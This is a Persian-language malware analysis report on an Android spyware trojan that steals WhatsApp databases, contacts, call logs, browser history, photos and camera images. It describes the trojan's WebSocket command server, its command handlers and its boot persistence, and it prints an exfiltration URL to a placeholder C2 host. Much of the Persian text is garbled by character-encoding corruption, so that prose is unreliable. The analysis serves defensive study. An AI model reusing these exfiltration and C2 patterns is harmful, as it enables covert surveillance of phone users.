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 مقدمه -1

اًدذ ٍ ثدذلیل    ثِ ّوبى ضکل ضدذُ ّب ًیس  ، حولات آىّب سیستندیجیتبلی ٍ سبیجری ضذى  ،اهرٍزُ ثب گسترش فٌبٍری

اطلاعبت یک هجوَعِ از افراد هثلا یک سبزهبى هْدن   علاٍُ ثرا اطلاعبت ضخػی یک فردّب  سیستنثسیبری از ایٌکِ 

ّدب   ّب ٍ اطلاعبت آى کٌذ. یکی از ایي حولات کِ سیستن هبلی ٍ یب ثبًکی را دارًذ ایي هسئلِ اّویت ثیطتری پیذا هی

افدسار عدبدی کدِ ًیدبز هدب را       یدک ًدرم   ثرخلافافساری است کِ  ثذافسار در ٍالع ًرمّب ّستٌذ.  کٌذ، ثذفسار را تْذیذ هی

( یک اغطلاح جبهع  Malwareکٌذ، جْت تخریت یب سَءاستفبدُ از کبرثراى ًَضتِ ضذُ است. ثذافسار )  ثرطرف هی

 ضَد کِ عوذاً ثرای اًجدبم اعودبغ ریرهجدبز ٍ هادر ایجدبد ضدذُ اسدت.        افساری اطلاق هی ٍ فراگیر است کِ ثِ ّر ًرم

ٌذ کِ یک ثذافسار حتوب ثبیذ ثر رٍی سیستن ضوب در لبلت یک فبیل داًلَد ضَد تدب ثتَاًدذ   ثسیبری ثر ایي عمیذُ ّست

کٌٌدذ. ثرخدی از    ّبی هختلف ثدرای اجدرا خدَد اسدتفبدُ هدی      ّب ٍ تکٌیک ّب از اًَاع رٍش کبرش را اًجبم دّذ. ثذافسار

ّب سیستن ضوب را  کٌٌذ، ثعای از آى یرٍی سیستن جلَگیری ه ّبی خبغی ثر افسارّب یب عولیبت ثذافسارّب از اجرای ًرم

کٌٌدذ.   ّبی دیگر استفبدُ هدی  رٍی سیستن استفبدُ ٍ اًجبم عولیبت تخریجی ثر ثِ عٌَاى یک سیستن لرثبًی ثرای سَء

اًدذ، ثدرای هثدبغ     ثرخی از ثذافسارّب ًیس ٍجَد دارًذ کِ غرفب ثرای جوع آٍری اطلاعبت ضخػی کبرثراى طراحی ضذُ

ّدبی کدبرثری ٍ ... را جودع آٍری ٍ     ّبی عجَر ٍ ًدبم  ثبًکی، رهس ّبی کبرت ضٌبسبیی، ضوبرُ حسبةاطلاعبت هرثَط ثِ 

اًدذ، هوکدي    آٍری اطلاعبت ضخػی طراحی ضذُ ّبیی کِ ثرای جوع کٌٌذ. ثذافسار ثرای ًَیسٌذُ آى ثذافسار ارسبغ هی

ّدب را از   بیی ٍ حدفف ایدي ثدذافسار   است ثبعث تخریت در سیستن لرثبًی ًیس ضًَذ ٍ ایي ّوبى دلیلی است کِ ضٌبسد 

 است. عبهل کبرثر را ثِ اهری حیبتی تجذیل کردُ سیستن

تحت  WhatsAppرسبى  ّبی پیبم اًذ کِ پیبمجبسَس افساری کطف کردُ G DATA اخیرا تین تحمیمبتی  

 کِ در ایي گسارش اطلاعبت یبفت ضذُ از ایي ثذافسار تحلیل خَاّذ ضذ. دّذ، تبثیر لرار هی

 Android.Trojan-Spy.Buhsam.Aبدافزار سی برر -2

ّبی جبسَسی زیدبدی ثرخدَردار    از ٍیژگی دّذ عبهل اًذرٍیذ را تحت تبثیر خَد لرار هی کِ سیستن جذیذایي ثذافسار 

ّدبی دیگدر.    ٍ ثسدیبری از ٍیژگدی   WhatsAppرسبى  است، هبًٌذ سرلت تبریخچِ هرٍرگر، تػبٍیر، پبیگبُ دادُ پیبم

ایدي  ّبی اغدلی ایدي ثدذافسار در     کٌذ. ثب ایي حبغ ٍیژگی هطخع ًیست کِ ایي ثذافسار دلیمبً چِ ّذفی را دًجبغ هی

 ضَد.  ثررسی هی گسارش

را فراخدَاًی   OwnMe.classضدَد ٍ سدرٍی     اجدرا هدی   MainActivity.classایي ثذافسار ثدب کدلاس    

ِ ّبة  ثذافسار در گیتکٌذ. کذ اغلی ایي  هی ٍجدَد دارد کدِ در غدَرت ًیدبز      earthshakiraی کدبرثری   در غدفح

 تَاى آى را هطبّذُ کرد. هی
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تَاًذ در تَسعِ یک ثرًبهدِ   یک سرٍی  است. سرٍی  یکی از عٌبغر اغلی است کِ هی  OwnMe.classکلاس   

ی سٌگیي کِ در پ  زهیٌِ ٍ هسدتمل از ثرًبهدِ   ّب اًذرٍیذی ثکبر گرفتِ ضَد. ایي عٌػر هعوَلا ٍظیفِ اًجبم فعبلیت

 ضَد. فراخَاًی هی ()onStartCommand  تبثع، ( )startService تبثعضَد را دارد. در غَرت اجرای  اًجبم هی

2-1- onStartCommand 

ثٌبثرایي هدب فدرؼ ثدر عدبدی      Service startedضَد کِ ًَضتِ ضذُ است  ًوبیص دادُ هی Toastاثتذا یک پیغبم 

ّبی هطرٍع ًجَدُ ًخَاّین ضذ ٍ ثدِ عجدبرتی    کٌین ٍ هتَجِ ایٌکِ ایي سرٍی  ثرای فعبلیت ثَدى استفبدُ ثرًبهِ هی

ضک ًخَاّین کرد. هجرهبى ّویطِ سعی دارد تب الذهبت خَد را تب حذ اهکبى هخفی کٌٌذ ٍ عبدی جلدَُ دٌّدذ. در   

 upLoadServerUri ،android_id ،username ،JSON objects pingَى ّبی زیبدی چ اداهِ ثرًبهِ هتغیر

 ٍhandshake کٌذ. ضی  تعریف هیhandshake    ٍ ضبهل اطلاعبتی ثب فیلذ خدبلی ثدبتریcpu     اسدت کدِ ٌّدَز

 ضَد کِ ایي ثذافسار ٌَّز در حبغ همذاری ًگرفتِ است ٍ ظبّرا در اداهِ ًیس همذاری ًخَاّذ گرفت. ثٌبثرایي تػَر هی

ضدَد ثرًبهدِ تدبثع     تَسعِ است ٍ ثِ هعٌبی استفبدُ آًطَر کِ ثبیذ ثبضذ فعبغ ًیست. ٌّگبهی کدِ ایٌکدبر اًجدبم هدی    

startExploit( ) کٌذ. را فراخَاًی هی 

2-2- startExploit & connectWebSocket 

کٌذ. در غدَرت در  استفبدُ  ( )connectWebSocketاگر ثذافسار لػذ اتػبغ ثِ ایٌترًت را داضتِ ثبضذ ثب از تبثع 

خَاّذ گرفت. ٌّگبهی کِ یدک پیدبم از    ws://ipofthec2:8282دسترس ثَدى ایٌترًت ثذافسار ارتجبطی ثب آدرس 

کٌذ. سپ  ثرًبهِ هتي دریبفت ضذُ  ضَد ٍ پیبم را دریبفت هی  ًیس اجرا هی ( )onMessageسرٍر دریبفت ضَد تبثع 

کٌذ. اگر ایي عولیبت ثب لغدَ ضدَد در    هَجَد درٍى تبثع ًگبضت هی ّبی ثبضذ را ثِ پبراهتر هی JSONکِ ثػَرت ضی 

 ضَد.  ٍ یب خبلی ارسبغ هی Nullپبسخ ثِ سرٍر همذار 

 Android.Trojan-Spy.Buhsam.A های اصلی بدافزار فعالیت -3

حدبٍی  ّبیی از سدوت سدرٍر هرکدسی کدِ      ثب دریبفت پیبمّبی ایي ثذافسار ثذیي غَرت است کِ  اًجبم فعبلیت طریمِ

عجبرات خبظ ّست فعبغ خَاّذ ضذ. ثذیي هعٌی کِ یک عجبرت یب دریبفت کردُ ٍ سدپ  کدذ هرثدَط ثدِ آى را در     

کٌذ . در اداهِ ثِ ثررسی اًَاع ایدي عجدبرات    کٌذ. ًتیجِ را گرفتِ ٍ سرٍر هرکسی ارسبغ هی عبهل فراخَاًی هی سیستن

 پردازین. هی

 Screenshot:  ثب دریبفت ایي عجبرتScreenshot   دّدذ ٍ ظدبّرا   ثرًبهِ فعلا فعبلیت خبغی اًجدبم ًودی

دّذ. اهب ایي تبثع درٍى ثرًبهِ ٍجَد دارد ٍ هطخع است کِ ایي ثذافسار  ّبیی را ثػَرت خبلی لرار هی هتغیر

 ٌَّز درحبغ تَسعِ است.

 Whatsapp      اگددر پیددبم از سددوت سددرٍر هرکددسی حددبٍی عجددبرت :whatsapp    ثددَد. ثرًبهددِ تددبثع

AppuploadWhats  تبثع ًیس ّوبًطَری کِ اضبرُ ضذ ثِ الدذام سدرلت پبیگدبُ    کٌذ. ایي  را فراخَاًی هی

زیر ًیس استفبدُ خَاّذ کرد کِ ثخطی از اطلاعدبت   Queryٍ ثرای ایٌکبر از  خَاّذ کردرسبى  دادُ ایي پیبم

 را هجسا ثِ سرٍر هرکسی ارسبغ کٌذ.
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D+username2%82%9/db/upload_whatsapp.php?username=%E2http://ipofthec

D+android_id2%82%9D&amp;device_id=%E2%82%9+%E 

 

 Browserhistory:  اگر پیبم حبٍی عجبرتBrowserhistory   ثَد، پیغبم پبسخ ثِ سرٍر ضدیJSON  را

،عٌدَاى، زهدبى، آدرس،   idای از  یک همذار رضتِپر خَاّذ کرد. ایي تبثع   ()getHistoryثب استفبدُ از تبثع 

لسدوت فعدلا    گرداًذ. ثب تَجِ ثِ ایٌکِ اضبرُ ضذ ایي ثذافسار در حبغ تَسعِ است در ایدي ّب ثبزهی ضذًُطبى

 گرداًذ.ی کبرثر را ثرهی ّبی ًطبًطذُ تٌْب سبیت

 Contacts اگر پیبم حبٍی عجبرت :Contacts  ثَد، پیغبم پبسخ ثِ سرٍر ضیJSON    را ثب اسدتفبدُ از تدبثع

getContacts()  .را ثخَاًدذ ٍ ثدِ غدَرت     تَاًذ توبم اطلاعبت هخبطجیي تلفدي   ایي تبثع هی پر خَاّذ کرد

 ٍ ضوبرُ ّوراُ ارسبغ کٌذ. id ، display_name_ز هتغیر رضتِ هتطکل ا

 Calllog اگر پیبم حبٍی عجبرت :Calllog      ثَد، پیغبم پبسدخ ثدِ سدرٍر ضدیJSON     را ثدب اسدتفبدُ از تدبثع

getCallLogs ( )   .اگر ثرًبهِ هجدَز   پر خَاّذ کردandroid.permission.READ_CALL_LOG  را

هتطکل  ای رضتِ مگرداًذ. در ریر ایٌػَرت در لبلت یک پیب را ثر هی« ثذٍى هجَز»ًذاضتِ ثبضذ تبثع همذار 

 JSONگراًذ تب ثػَرت ضی ایي تبثع همذار لازم را ثرهی name،number ،type  ،edat ،durationاز 

 ًگبضت ضَد.

 Fetch  اگر پیبم حبٍی عجدبرت : fetch        ثدَد، پیغدبم پبسدخ ثدِ سدرٍر ضدیJSON     را ثدب اسدتفبدُ از تدبثع

.get(“path))8(v64getBase  .پر خَاّذ کرد 

64getBase   ٌیک پبراهتر از جBitmap یک هسیر فبیل عک  را ًطبى خَاّدذ داد.  کٌذ کِ  فراّن هی

سبزی اًجبم خَاّذ  ثَد هتٌبست است در ریر ایٌػَرت عولیبت فطردُ 482اگر ایي طَغ ایي تػَیر ثسرگتر 

اسدت   64base کدِ ثدِ فرهدت     JSONای ثرای ًگبضدت ثدِ ضدی     ضذ. در ًتیجِ ایي تبثع یک همذار رضتِ

 .ثرخَاّذگرداًذ

 Gallery   اگر پیبم حدبٍی عجدبرت :Gallery      ثبضدذ. یدک رضدتِ از تدبثع).toString()5.get(v4v   ثدرای

ّدبی کدبرت حبف دِ اسدت. کدِ       . ایي رضتِ حبٍی هسیر، ًبم پَضِ  ضَد  ثرگرداًذُ هی JSONًگبضت ثِ ضی 

کدِ اطلاعدبت کدل اسدت      totalکِ اطلاعبت غفحِ جبری اسدت ٍ   id  ٍandroid_idّبی   ثػَرت الوبى

 ثبضذ. هی

کٌدذ. ایدي    ارسبغ هی  WebSocketًیس اطلاعبت را ثِ اتػبلات   ()mWebSocketClient.send تبثع 

 حلمِ ثِ حذاکثر ظرفیت خَد ثرسذ.ضَد تب  فرآیٌذ آًمذر تکرار هی

 Camera : اگر پیبم حبٍی عجبرتCamera  ثبضذ تبثعopenCameraVideo() ضدَد کدِ    فراخَاًی هی

 تعذاد فرین عٌَاى خَاّذ ضذ.ّبی ًَع دٍرثیي )جلَ یب عمت( ٍ  ٌّگبم فراخَاًی پبراهتر

گیرد )ایدي عکد     ضَد ٍ عک  هی ثَد سپ  دٍرثیي خبظ خَد ثبز هی 21اگر ًسخِ کیت تَسعِ کوتر از 

ضدَد کدِ اسبسدبً ٍظیفدِ      یفراخَاًی ه ()takePictureR ضَد( در ریر ایٌػَرت تبثع  ثِ سرٍر هٌتمل ًوی

کذگدفاری   64baseثبضذ. ایدي عکد  ثػدَرت     هی 21ّبی ثبلاتر از  گرفتي عک  ثرای کیت تَسعِ ًسخِ

 ضَد. ارسبغ هی WebSocketثِ  JSONخَاّذ ضذ ٍ درٍى یک فبیل 

http://ipofthec2/db/upload_whatsapp.php?username=%E2%80%9D+username+%E2%80%9D&amp;device_id=%E2%80%9D+android_id
http://ipofthec2/db/upload_whatsapp.php?username=%E2%80%9D+username+%E2%80%9D&amp;device_id=%E2%80%9D+android_id
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 UpdateBattery :ضَد تب تبثع هرثَط ثِ آى همذار ثبطری دستگبُ ٍ همذار ظرفیت  ایي عجبرت هَجت هی

 ثبضذ. سبزی ًطذُ ٍ فعبغ ًوی را ثرگرداًذ. ایي تبثع ٌَّز ثطَر کبهل پیبدُ CPUبغ استفبدُ درح

 No command provided :  در غَرتی کِ ّیچ دستَری ٍجَد ًذاضتِ ثبضذ یک ضدیJSON   ِسدبخت

ارسددبغ  WebSocketگیددرد ٍ ثددِ در آى لددرار هددی error  ٍno command foundضددذُ ٍ عجددبرت 

 ضَد. هی

 

 ماندگاری -4

کددددِ هطددددتك ضددددذُ از کددددلاس  BootCompletedIntentReceiver.javaدر ایددددي ثددددذافسار کددددلاس 

BroadCastReceiver  ٍظیفِ هبًذگبری ٍ ّویطِ ثرلرار ًگِ داضتي ایي ثذافسار را دارد. ثطَریکِ ثب فراخَاًی تبثع

onReceive()  کٌددددددددذ کددددددددِ   ثررسددددددددی هددددددددیintent    دریددددددددبفتی ثراثددددددددر ثددددددددب

android.intent.action.BOOT_COMPLETED   است یب خیر، اگر ثَد سرٍیOwnMe.class  ًرا هجذدا

ّبی خراثکبراًِ است را در ٌّگبم رٍضدي ضدذى    کٌذ ؛ ثِ عجبرت دیگر ثذافسار کلاسی کِ هسئَغ فعبلیت فراخَاًی هی

 کٌذ. گَضی فعبغ هی

 

 فبیل : hashهمذار 

SHA-256 

4bed89b58c2ecf3455999dc8211c8a7e2f9e8952cb9aa83cd825b8372b1eaa3d 

 جمع بندی -5

در آخریي تحمیمبت خَد ثِ ثذفسار اًذرٍیذی ثرخَردُ است کِ درحبغ تَسدعِ اسدت ٍ اطلاعدبت     G DATAضرکت 

فرهبى سرلت ایي اطلاعبت ثب ارسبغ یک پیبم از سوت سرٍر هرکسی غَرت  تَاًذ ثِ سرلت ثجرد. زیبدی از کبرثر را هی

ّدبی ثیطدتری    تر ضًَذ ٍ ّوچٌیي هکدبًیسم  ّب ّوَارُ در حبغ پیطرفت ّستٌذ ٍ در تلاضٌذ هٌطعف ثذافسارگیرد.  هی

ّدب را ثدِ حدذالل     جْت همبثلِ ثب هٌْذسی هعکَس استفبدُ کٌٌذ.کبرثر ثبیذ ثکَضذ تب ثب رعبیت الذهبت اهٌیتی تْذیذ

 تٌذ از :ایي ًکبت اهٌیتی کِ رعبیت آًْب ثسیبر اّویت دارًذ عجبر ثرسبًذ.

 ُّوراُ از احرازَّیت ثب درجِ اهٌیت ثبلا هبًٌذ   ثرای دستگبPIN code اًگطت استفبدُ ضَد ٍ حسگر اثر. 

  لبثلیتUSB Debuggingّوراُ  یبثی دستگبُ ٍ یب گَضی تلفي ، ریرفعبغ ثبضذ، چرا کِ ایي هَرد ثرای عیت

 .[5]را راحتتر ًوبیذتَاًذ دسترسی کبرثر ثرای دٍر زدى احراز َّیت  است کِ خَد هی

  ِثبیذ هطوئي ضذ کOEM Unlocking [5]ریرفعبغ ثبضذ. 
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 OEM unlockingو   USB Debuggingغیر فعال بودن قابلیت  1شکل 

 ّبی ًبآضٌب کلیک ًطدَد. گدبّی ایدي     ّبی اجتوبعی ٍ یب ثطَر کلی ایٌترًت در ثررٍی لیٌک ّب، ضجکِ در پیبم

 خَاّذ ضذ. portًػت ثذافسار ٍ یب ثبزضذى   کلیک هَجت

 ّدب از   ضَد کدِ ثدب آگدبّی ثدِ افدراد ٍ هطلدع ًوًَدذى آى        ثبتَجِ ثِ تْذیذات هٌْذسی اجتوبعی تَغیِ هی

ّبی آى کِ اطلاعبت حسدبس کدبرثر ًیدس جدسٍ آى      ّوراُ کبرثر ٍ دارایی از دستگبُ ،ایجّبی ر ّب ٍ رٍش تْذیذ

 است هحبف ت ًوَد.

 ِّبی کبرثردی از هٌبثع ًبضٌبس ٍ ریرهعتجر خَدداری ضدَد. هعتجرتدریي هکدبى ثدرای داًلدَد       از داًلَد ثرًبه

 ios ،appعبهل  ٍ ثرای سیستن android ،play store googleعبهل  ّبی کبرثردی ثرای سیستن ثرًبهِ

store ثیطتریي آلَدگیثبضذ.  هی  ِ ی اًتطدبر   ّبی ثذافساری در پلتفرم اًذرٍیذ از طریك هٌبثع ثبلث ٍ هتفرلد

ّبی  ّب ٍ ٍثلاگ ّبی تلفي ّوراُ، ٍثسبیت ّبی تلگراهی، اًجوي یبثٌذ. هٌبثعی هبًٌذ کبًبغ افسار گسترش هی ًرم

  ....هتفرلِ 

 گیدرد دلدت    عبهدل هدی   کبرثردی از سیستن ّبیی کِ ثرًبهِ کبرثردی، حتوب ثِ دسترسی ًبهِدر ٌّگبم ًػت ثر

    ضَد.
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